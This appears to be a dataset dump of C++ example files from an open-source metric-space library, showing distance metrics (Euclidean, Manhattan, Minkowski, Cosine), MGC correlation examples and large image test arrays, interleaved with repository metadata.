0, 0}; // emd_Type array_2[] = {0, 0, 0, 0, 1, 0, 0, 0, 0}; //t1 = std::chrono::steady_clock::now(); // result = distance(array_1, array_2); // t2 = std::chrono::steady_clock::now(); // std::cout << "result: " << result // << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 // << " s)" << std::endl; // std::cout << "" << std::endl; // std::array std::array<emd_Type, 9> std_array_1 = {0, 0, 0, 0, 0, 0, 0, 0, 0}; std::array<emd_Type, 9> std_array_2 = {0, 0, 0, 0, 1, 0, 0, 0, 0}; t1 = std::chrono::steady_clock::now(); result = distance(std_array_1, std_array_2); t2 = std::chrono::steady_clock::now(); std::cout << "result: " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << " s)" << std::endl; std::cout << "" << std::endl; // deque std::deque<emd_Type> deque_1 = {0, 0, 0, 0, 0, 0, 0, 0, 0}; std::deque<emd_Type> deque_2 = {0, 0, 0, 0, 1, 0, 0, 0, 0}; t1 = std::chrono::steady_clock::now(); result = distance(deque_1, deque_2); t2 = std::chrono::steady_clock::now(); std::cout << "result: " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << " s)" << std::endl; std::cout << "" << std::endl; //// map //std::map<int, emd_Type> map_1; // std::map<int, emd_Type> map_2; // //for (auto i = 0; i < 9; i++) //{ // map_1[i] = 0; // map_2[i] = 0; //} //map_2[5] = 1; // //t1 = std::chrono::steady_clock::now(); // result = distance(map_1, map_2); // t2 = std::chrono::steady_clock::now(); // std::cout << "result: " << result // << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 // << " s)" << std::endl; // std::cout << "" << std::endl; return 0; }
5,068
C++
.cpp
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metric-space-ai/metric
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MPL-2.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
false
false
false
false
false
false
false
1,531,412
standart_distances_example.cpp
metric-space-ai_metric/examples/distance_examples/standart_distances_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include <vector> #include <iostream> #include <chrono> //#include "blaze/math/CompressedVector.h" // for Blaze Euclidean overload //#include "blaze/math/CompressedMatrix.h" // for Blaze Euclidean overload #include "metric/distance.hpp" int main() { std::cout << "Standart Distances example have started" << std::endl; std::cout << "" << std::endl; /*** here are some data records ***/ std::vector<double> v0 = { 0, 1, 1, 1, 1, 1, 2, 3 }; std::vector<double> v1 = { 1, 1, 1, 1, 1, 2, 3, 4 }; /******************** examples for Euclidean (L2) Metric **************************/ std::cout << "Euclidean (L2) Metric" << std::endl; metric::Euclidean<double> EuclideanL2Distance; auto startTime_1 = std::chrono::steady_clock::now(); auto result_1 = EuclideanL2Distance(v0, v1); auto endTime_1 = std::chrono::steady_clock::now(); std::cout << "result: " << result_1 << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(endTime_1 - startTime_1).count()) / 1000 << " ms)" << std::endl; std::cout << "" << std::endl; // out: // Euclidean (L2) Metric // result: 2 (Time = 0.018 ms) /******************** examples for Euclidean Threshold **************************/ std::cout << "Euclidean Threshold" << std::endl; metric::Euclidean_thresholded<double> EuclideanThresholdDistance(1000.0, 3000.0); auto startTime_2 = std::chrono::steady_clock::now(); auto result_2 = EuclideanThresholdDistance(v0, v1); auto endTime_2 = std::chrono::steady_clock::now(); std::cout << "result: " << result_2 << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(endTime_2 - startTime_2).count()) / 1000 << " ms)" << std::endl; std::cout << "" << std::endl; // out: // Euclidean Threshold // result: 1000 (Time = 0.008 ms) /******************** examples for Manhatten/Cityblock (L1) Metric **************************/ std::cout << "Manhatten/Cityblock (L1) Metric" << std::endl; metric::Manhatten<double> manhattenL1Distance; auto startTime_3 = std::chrono::steady_clock::now(); auto result_3 = manhattenL1Distance(v0, v1); auto endTime_3 = std::chrono::steady_clock::now(); std::cout << "result: " << result_3 << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(endTime_3 - startTime_3).count()) / 1000 << " ms)" << std::endl; std::cout << "" << std::endl; // out: // Manhatten/Cityblock (L1) Metric // result: 4 (Time = 0.007 ms) /******************** examples for Minkowski (L general) Metric **************************/ std::cout << "Minkowski (L general) Metric" << std::endl; metric::P_norm<double> pNormDistance(2); auto startTime_4 = std::chrono::steady_clock::now(); auto result_4 = pNormDistance(v0, v1); auto endTime_4 = std::chrono::steady_clock::now(); std::cout << "result: " << result_4 << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(endTime_4 - startTime_4).count()) / 1000 << " ms)" << std::endl; std::cout << "" << std::endl; // out: // Minkowski (L general) Metric // result: 2 (Time = 0.061 ms) /******************** examples for Cosine Metric **************************/ std::cout << "Cosine Metric" << std::endl; //metric::distance::Cosine<double> cosineDistance; auto cosineDistance = metric::Cosine<double>(); // default return type is double, so we do not need to set <double> explicitely auto startTime_5 = std::chrono::steady_clock::now(); auto result_5 = cosineDistance(v0, v1); auto endTime_5 = std::chrono::steady_clock::now(); std::cout << "result: " << result_5 << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(endTime_5 - startTime_5).count()) / 1000 << " ms)" << std::endl; std::cout << "" << std::endl; // out: // Cosine Metric // result: 0.970143 (Time = 0.038 ms) /************* examples for Euclidean Metric with Blaze input ***************/ std::cout << "Blaze overload of Euclidean Metric" << std::endl; //blaze::DynamicVector<double> vb0; // this will not compile!! //blaze::DynamicVector<double> vb1; blaze::CompressedVector<double> vb0 = { 0, 1, 1, 1, 1, 1, 2, 3 }; // OK blaze::CompressedVector<double> vb1 = { 1, 1, 1, 1, 1, 2, 3, 4 }; //blaze::CompressedMatrix<double> vb0 = { {0, 1, 1, 1}, {1, 1, 2, 3} }; // OK //blaze::CompressedMatrix<double> vb1 = { {1, 1, 1, 1}, {1, 2, 3, 4} }; // we reuse metric::Euclidean<double> EuclideanL2Distance; auto startTime_6 = std::chrono::steady_clock::now(); auto result_6 = EuclideanL2Distance(vb0, vb1); auto endTime_6 = std::chrono::steady_clock::now(); std::cout << "result: " << result_6 << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(endTime_6 - startTime_6).count()) / 1000 << " ms)" << std::endl; std::cout << "" << std::endl; // out: // Blaze overload of Euclidean Metric // result: 2 (Time = 0.036 ms) return 0; }
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C++
.cpp
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51.978723
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metric-space-ai/metric
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MPL-2.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
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1,531,413
test_data.cpp
metric-space-ai_metric/examples/distance_examples/assets/test_data.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include <vector> std::vector<std::vector<uint8_t>> img1 = { { 133, 134, 130, 126, 117, 107, 91, 63, 27, 3, 0, 0, 0, 0, 0, 0, 3, 12, 22, 26, 30, 26, 28, 33, 35, 31, 28, 13, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 8, 10, 14, 20, 30, 35, 39, 44, 47, 47, 47, 53, 52, 56, 58, 56, 52, 44, 28, 13, 4, 7, 14, 21, 23, 17, 9, 3, 7, 16, 36, 53, 63, 66, 67, 65, 64, 60, 61, 58, 56, 53, 50, 47, 44, 38, 37, 33, 30, 25, 21, 14, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 9, 20, 33, 48, 54, 50, 36, 18, 1, 0, 0, 4, 7, 2, 0, 0, 0, 12, 33, 46, 43, 33, 17, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 19, 25, 10, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 24, 40, 41, 37, 26, 18, 13, 8, 8, 12, 20, 26, 35, 35, 25, 9, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 10, 31, 50, 58, 66, 70, 69, 66, 59, 46, 29, 7, 0, 0, 0, 0, 0, 0, 0, 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0, 11, 34, 44, 39, 23, 2, 0, 0, 0, 2, 0, 0, 0, 0, 0, 12, 31, 35, 24, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 9, 39, 62, 69, 69, 62, 57, 54, 50, 52, 60, 66, 73, 64, 52, 24, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 11, 24, 17, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 136, 136, 133, 129, 120, 106, 87, 55, 15, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 7, 10, 14, 17, 25, 36, 34, 31, 19, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 21, 33, 39, 47, 52, 57, 57, 63, 65, 65, 64, 63, 63, 68, 67, 65, 59, 45, 27, 12, 10, 18, 29, 37, 39, 35, 21, 8, 1, 5, 25, 46, 61, 69, 70, 67, 66, 64, 63, 61, 57, 56, 54, 50, 47, 43, 38, 32, 27, 18, 11, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 16, 27, 36, 48, 58, 62, 59, 38, 11, 0, 4, 23, 46, 57, 64, 57, 47, 24, 0, 0, 4, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 121, 124, 121, 115, 109, 101, 103, 101, 87, 76, 64, 54, 47, 44, 41, 40, 39, 39, 37, 37, 37, 34, 28, 19, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 7, 10, 11, 9, 7, 3, 1, 0, 0, 3, 9, 20, 39, 65, 120, 167, 200, 220, 177, 98, 67, 46, 40, 38, 35, 35, 37, 37, 36, 34, 27, 18, 8, 0, 0, 0, 0, 8, 15, 20, 22, 22, 20, 21, 21, 20, 20, 18, 17, 18, 17, 15, 14, 12, 11, 7, 8, 5, 5, 7, 10, 17, 30, 43, 58, 72, 89, 101, 115, 126, 132, 135, 137, 128, 117, 100, 82, 72, 73, 93, 130, 140, 135, 113, 66, 33, 22, 19, 15, 16, 16, 15, 17, 16, 13, 12, 14, 12, 14, 12, 14, 15, 13, 13, 14, 14, 13, 13, 11, 10, 10, 8, 7, 6, 5, 3, 4, 4, 4, 2, 2, 2, 2, 0, 0, 0, 0, 1, 3, 4, 6, 8, 11, 18, 29, 39, 71, 127, 176, 180, 160, 126, 101, 100, 115, 127, 127, 116, 101, 85, 73, 69, 64, 58, 50, 38, 26, 9, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 27, 74, 134, 153, 140, 121, 79, 22, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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2, 1, 2, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 2, 9, 24, 45, 73, 128, 174, 180, 163, 123, 84, 74, 77, 86, 96, 106, 115, 121, 123, 122, 107, 91, 75, 58, 42, 25, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 28, 75, 99, 106, 101, 73, 24, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, }; std::vector<std::vector<uint8_t>> img3 = { { 71, 71, 70, 70, 69, 68, 66, 61, 58, 57, 58, 58, 56, 56, 56, 55, 52, 51, 52, 50, 48, 49, 47, 47, 47, 45, 44, 43, 42, 42, 41, 41, 38, 37, 35, 34, 31, 29, 27, 26, 24, 23, 22, 21, 21, 21, 20, 20, 20, 19, 19, 18, 16, 15, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 15, 15, 14, 15, 15, 15, 16, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 16, 15, 16, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 17, 17, 20, 25, 28, 24, 23, 23, 23, 26, 29, 28, 27, 24, 21, 20, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 18, 17, 17, 18, 17, 17, 18, 18, 18, 18, 18, 18, 17, 18, 18, 18, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 18, 18, 18, 18, 17, 17, 18, 17, 18, 19, 20, 20, 20, 19, 20, 20, 20, 20, 20, 20, 21, 21, 21, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 21, 20, 20, 20, 21, 20, 20, 20, 20, 21 }, { 72, 72, 71, 71, 71, 70, 66, 61, 60, 58, 58, 59, 56, 56, 57, 56, 54, 53, 50, 51, 48, 49, 47, 48, 47, 45, 44, 43, 42, 41, 42, 40, 38, 36, 35, 33, 31, 30, 27, 25, 24, 23, 22, 22, 21, 21, 20, 20, 20, 19, 19, 18, 16, 14, 13, 14, 14, 14, 13, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 13, 13, 14, 14, 15, 14, 14, 14, 14, 15, 14, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 17, 16, 16, 16, 15, 16, 15, 15, 15, 16, 16, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 17, 18, 22, 27, 26, 24, 22, 23, 23, 27, 28, 28, 25, 24, 21, 19, 19, 19, 18, 18, 17, 18, 17, 18, 18, 18, 17, 18, 18, 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78, 78, 75, 74, 72, 71, 71, 71, 71, 73, 72, 73, 73, 72, 73, 72, 71, 72, 71, 71, 71, 71, 71, 70, 70, 70, 69, 69, 69 }, { 34, 35, 34, 31, 27, 24, 23, 23, 23, 24, 24, 24, 24, 24, 24, 24, 23, 23, 24, 23, 24, 23, 24, 23, 24, 23, 23, 23, 23, 23, 23, 23, 22, 23, 23, 23, 22, 23, 22, 23, 22, 23, 23, 23, 23, 23, 24, 24, 25, 25, 25, 25, 25, 25, 25, 26, 26, 26, 26, 27, 28, 27, 26, 27, 27, 28, 28, 29, 29, 30, 31, 31, 31, 31, 30, 30, 30, 30, 30, 31, 32, 32, 32, 33, 34, 35, 36, 38, 37, 37, 37, 39, 41, 42, 44, 44, 44, 44, 44, 45, 45, 44, 44, 43, 41, 38, 34, 30, 25, 24, 23, 24, 24, 23, 23, 23, 24, 23, 25, 28, 31, 34, 35, 35, 37, 38, 39, 40, 41, 40, 41, 42, 42, 43, 42, 43, 43, 43, 44, 44, 44, 44, 43, 43, 44, 52, 66, 73, 50, 44, 42, 42, 42, 46, 53, 60, 69, 81, 101, 111, 100, 86, 85, 83, 64, 45, 39, 37, 36, 36, 35, 34, 33, 34, 34, 34, 33, 34, 34, 36, 39, 43, 48, 52, 55, 58, 59, 61, 62, 62, 64, 66, 67, 67, 67, 64, 64, 61, 59, 57, 51, 46, 40, 37, 36, 33, 32, 32, 31, 30, 28, 28, 27, 28, 28, 28, 30, 28, 28, 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22, 23, 24, 24, 25, 25, 25, 25, 24, 24, 24, 25, 26, 26, 26, 26, 27, 27, 27, 27, 27, 27, 28, 28, 29, 29, 30, 31, 32, 32, 33, 33, 32, 33, 35, 37, 42, 46, 45, 42, 43, 46, 52, 61, 66, 62, 48, 45, 46, 46, 44, 44, 45, 45, 45, 46, 46, 45, 45, 45, 45, 43, 39, 34, 29, 26, 24, 24, 24, 24, 24, 23, 23, 23, 25, 26, 27, 30, 31, 33, 35, 36, 36, 37, 38, 38, 40, 40, 41, 41, 41, 42, 41, 43, 44, 45, 45, 44, 43, 42, 42, 44, 58, 76, 55, 48, 45, 42, 42, 44, 47, 51, 56, 64, 86, 108, 110, 108, 98, 90, 83, 57, 45, 41, 38, 35, 35, 34, 34, 35, 37, 40, 44, 49, 53, 55, 58, 59, 58, 59, 63, 66, 66, 67, 66, 65, 62, 61, 59, 57, 54, 50, 44, 39, 36, 35, 34, 33, 33, 31, 31, 30, 30, 29, 29, 28, 27, 27, 27, 28, 28, 28, 28, 28, 28, 27, 28, 29, 32, 33, 36, 38, 40, 43, 45, 46, 48, 50, 51, 52, 55, 56, 58, 59, 61, 61, 63, 64, 65, 65, 65, 67, 66, 68, 68, 68, 70, 70, 71, 73, 73, 73, 74, 75, 75, 74, 74, 74, 75, 74, 74, 74, 74, 74, 73, 73, 72, 72, 73, 75, 75, 77, 78, 81, 83, 83, 84, 85, 84, 84, 83, 82, 80, 80, 78, 78, 78, 78, 78, 75, 73, 73, 74, 76, 80, 81, 82, 81, 81, 83, 85, 85, 83, 80, 79, 77, 76, 75, 74, 73, 73, 73, 72, 72, 71, 71, 71, 70, 71, 70, 69, 69, 69, 69, 70, 69, 69, 70, 69, 68, 67, 68 }, }; std::vector<std::vector<uint8_t>> img4 = { { 69, 69, 69, 69, 68, 67, 64, 60, 58, 57, 57, 58, 56, 56, 56, 55, 52, 52, 51, 50, 48, 49, 46, 47, 47, 45, 44, 43, 42, 42, 42, 41, 38, 37, 35, 34, 31, 30, 28, 26, 24, 24, 23, 21, 21, 21, 21, 20, 20, 20, 20, 18, 17, 16, 14, 14, 14, 14, 14, 14, 13, 13, 14, 14, 14, 13, 14, 14, 14, 14, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 14, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 14, 13, 13, 14, 14, 13, 14, 13, 13, 14, 13, 13, 14, 13, 13, 13, 13, 13, 13, 14, 13, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 13, 13, 14, 13, 13, 14, 13, 14, 13, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 15, 16, 16, 16, 17, 17, 17, 17, 17, 16, 17, 17, 17, 18, 18, 18, 18, 17, 18, 17, 18, 18, 18, 18, 17, 17, 18, 18, 18, 17, 17, 17, 17, 17, 16, 16, 17, 16, 16, 16, 15, 16, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 18, 17, 20, 25, 28, 25, 24, 23, 24, 26, 30, 30, 28, 25, 23, 21, 19, 19, 19, 19, 18, 18, 18, 18, 18, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 18, 18, 18, 18, 18, 19, 18, 18, 18, 18, 18, 18, 18, 18, 17, 18, 18, 18, 18, 17, 17, 17, 17, 16, 16, 16, 16, 17, 16, 16, 16, 16, 16, 16, 17, 17, 18, 19, 19, 18, 17, 18, 17, 18, 18, 19, 20, 19, 20, 20, 20, 20, 19, 19, 20, 20, 21, 20, 20, 20, 21, 21, 21, 21, 21, 20, 20, 21, 20, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21 }, { 71, 72, 71, 70, 70, 69, 65, 61, 59, 58, 58, 59, 57, 57, 57, 55, 55, 54, 50, 51, 49, 49, 47, 47, 47, 44, 45, 43, 42, 41, 42, 40, 38, 36, 35, 34, 31, 30, 28, 26, 25, 24, 22, 22, 21, 21, 21, 21, 20, 20, 19, 17, 16, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 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1,383,975
C++
.cpp
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metric-space-ai/metric
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1,531,414
intro_example.cpp
metric-space-ai_metric/examples/correlation_examples/intro_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include "metric/metric.hpp" int main() { // some data std::vector<std::vector<int>> A = { { 0, 1, 1, 1, 1, 1, 2, 3 }, { 1, 1, 1, 1, 1, 2, 3, 4 }, { 2, 2, 2, 1, 1, 2, 0, 0 }, { 3, 3, 2, 2, 1, 1, 0, 0 }, { 4, 3, 2, 1, 0, 0, 0, 0 }, { 5, 3, 2, 1, 0, 0, 0, 0 }, { 4, 6, 2, 2, 1, 1, 0, 0 }, }; // some other data std::deque<std::string> B = { "this", "test", "tests", "correlation", "of", "arbitrary", "data", }; // bind the types and metrics with an constructor to return a functor auto mgc_corr = metric::MGC<std::vector<int>, metric::Euclidean<int>, std::string, metric::Edit<std::string>>(); // compute the correlation auto result = mgc_corr(A, B); std::cout << "Multiscale graph correlation: " << result << std::endl; // output Multiscale graph correlation: 0.0791671 (Time = 7.8e-05s) return 0; }
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.cpp
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1,531,415
advanced_example.cpp
metric-space-ai_metric/examples/correlation_examples/advanced_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include <vector> #include <deque> #include <array> #include <string> #include <iostream> #include <fstream> #include <chrono> #include "metric/correlation.hpp" #include <blaze/Math.h> template <typename T> void matrix_print(const std::vector<std::vector<T>>& mat) { std::cout << "["; for (int i = 0; i < mat.size(); i++) { for (int j = 0; j < mat[i].size() - 1; j++) { std::cout << mat[i][j] << ", "; } std::cout << mat[i][mat[i].size() - 1] << " ]" << std::endl; ; } } template <typename T> void vector_print(const std::vector<T>& vec) { std::cout << "["; for (int i = 0; i < vec.size(); i++) { std::cout << vec[i] << ", "; } std::cout << vec[vec.size() - 1] << " ]" << std::endl; } struct simple_user_Euclidean { double operator()(const std::vector<double>& a, const std::vector<double>& b) const { double sum = 0; for (size_t i = 0; i < a.size(); ++i) { sum += (a[i] - b[i]) * (a[i] - b[i]); } return std::sqrt(sum); } }; struct blaze_euclidean { double operator()(const blaze::DynamicVector<double>& p, const blaze::DynamicVector<double>& q) const { return blaze::l2Norm(p - q); } }; std::vector<std::vector<double>> read_csv(const std::string filename, const long length = -1) { std::vector<std::vector<double>> v; std::ifstream in(filename); if (!in.is_open()) { std::cout << "Failed to open " << filename << std::endl; return v; } size_t count = 0; std::string record; while (std::getline(in, record)) { if ((length > 0) && (count++ >= length)) { break; } std::istringstream is(record); std::vector<double> row((std::istream_iterator<double>(is)), std::istream_iterator<double>()); v.push_back(row); } return v; } int main() { std::cout << "Advanced correlations example have started" << std::endl; std::cout << "" << std::endl; using RecType = std::vector<double>; std::vector<RecType> data1 = read_csv("assets/dataset1.csv", atoi("limit")); std::vector<RecType> data2 = read_csv("assets/dataset2.csv", atoi("limit")); if (data1.empty() || data2.empty()) { return EXIT_FAILURE; } std::cout << "dataset1 rows: " << data1.size() << ", cols: " << data1[0].size() << std::endl; std::cout << "dataset2 rows: " << data2.size() << ", cols: " << data2[0].size() << std::endl; std::cout << "" << std::endl; /* Build functors (function objects) with user types and metrics */ typedef simple_user_Euclidean Met; /* Set up the correlation function */ auto mgc_corr = metric::MGC<RecType, Met, RecType, Met>(); /* Compute and benchmark */ std::cout << "estimating correlation..." << std::endl; auto t1 = std::chrono::steady_clock::now(); auto result = mgc_corr.estimate(data1, data2, 100, 1.0, 100); auto t2 = std::chrono::steady_clock::now(); std::cout << "Multiscale graph correlation estimate: " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << "s)" << std::endl; std::cout << std::endl; // out: // 1 -nan(ind) 0.653303 0.653303 // 2 0.5 0.648665 0.650984 // Multiscale graph correlation estimate: 0.650984 (Time = 0.823063s) std::cout << "computing correlation..." << std::endl; t1 = std::chrono::steady_clock::now(); result = mgc_corr(data1, data2); t2 = std::chrono::steady_clock::now(); std::cout << "Multiscale graph correlation: " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << "s)" << std::endl; std::cout << std::endl; // out: // Multiscale graph correlation: 0.65593 (Time = 418.153s) // for blaze using RecType2 = blaze::DynamicVector<double>; typedef blaze_euclidean Met2; std::vector<RecType2> d1(data1.size()); std::vector<RecType2> d2(data2.size()); for (size_t i = 0; i < data1.size(); ++i) { blaze::DynamicVector<double> tmp(1UL, data1[i].size()); for (size_t j = 0; j < data1[i].size(); ++j) { tmp[j] = data1[i][j]; } d1[i] = tmp; } for (size_t i = 0; i < data2.size(); ++i) { blaze::DynamicVector<double> tmp(1UL, data2[i].size()); for (size_t j = 0; j < data2[i].size(); ++j) { tmp[j] = data2[i][j]; } d2[i] = tmp; } /* Set up the correlation function */ auto mgc_corr_blaze = metric::MGC<RecType2, Met2, RecType2, Met2>(); std::cout << "estimating correlation (for blaze)..." << std::endl; t1 = std::chrono::steady_clock::now(); result = mgc_corr_blaze.estimate(d1, d2); t2 = std::chrono::steady_clock::now(); std::cout << "Multiscale graph correlation estimate (for blaze): " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << "s)" << std::endl; std::cout << std::endl; // out: // 1 -nan(ind) 0.66177 0.66177 // 2 0.5 0.651861 0.656815 // 3 0.417722 0.640442 0.651357 // 4 0.359967 0.649279 0.650838 // 5 0.322612 0.656676 0.652006 // 6 0.262383 0.669431 0.65491 // 7 0.250356 0.64777 0.65389 // 8 0.197723 0.668255 0.655686 // 9 0.19001 0.658393 0.655986 // 10 0.177464 0.653838 0.655772 // 11 0.1615 0.650828 0.655322 // 12 0.15152 0.652565 0.655092 // 13 0.146486 0.655824 0.655149 // 14 0.143091 0.659013 0.655425 // 15 0.139359 0.661811 0.65585 // 16 0.136373 0.659662 0.656089 // 17 0.125772 0.649607 0.655707 // 18 0.120311 0.652674 0.655539 // 19 0.117996 0.660476 0.655799 // 20 0.115587 0.656575 0.655837 // Multiscale graph correlation estimate (for blaze): 0.655837 (Time = 5.03296s) std::cout << "computing correlation (for blaze)..." << std::endl; t1 = std::chrono::steady_clock::now(); result = mgc_corr_blaze(d1, d2); t2 = std::chrono::steady_clock::now(); std::cout << "Multiscale graph correlation (for blaze): " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << "s)" << std::endl; std::cout << std::endl; // out: // Multiscale graph correlation (for blaze): 0.65593 (Time = 399.995s) return 0; }
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metric-space-ai/metric
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1,531,416
simple_example.cpp
metric-space-ai_metric/examples/correlation_examples/simple_example.cpp
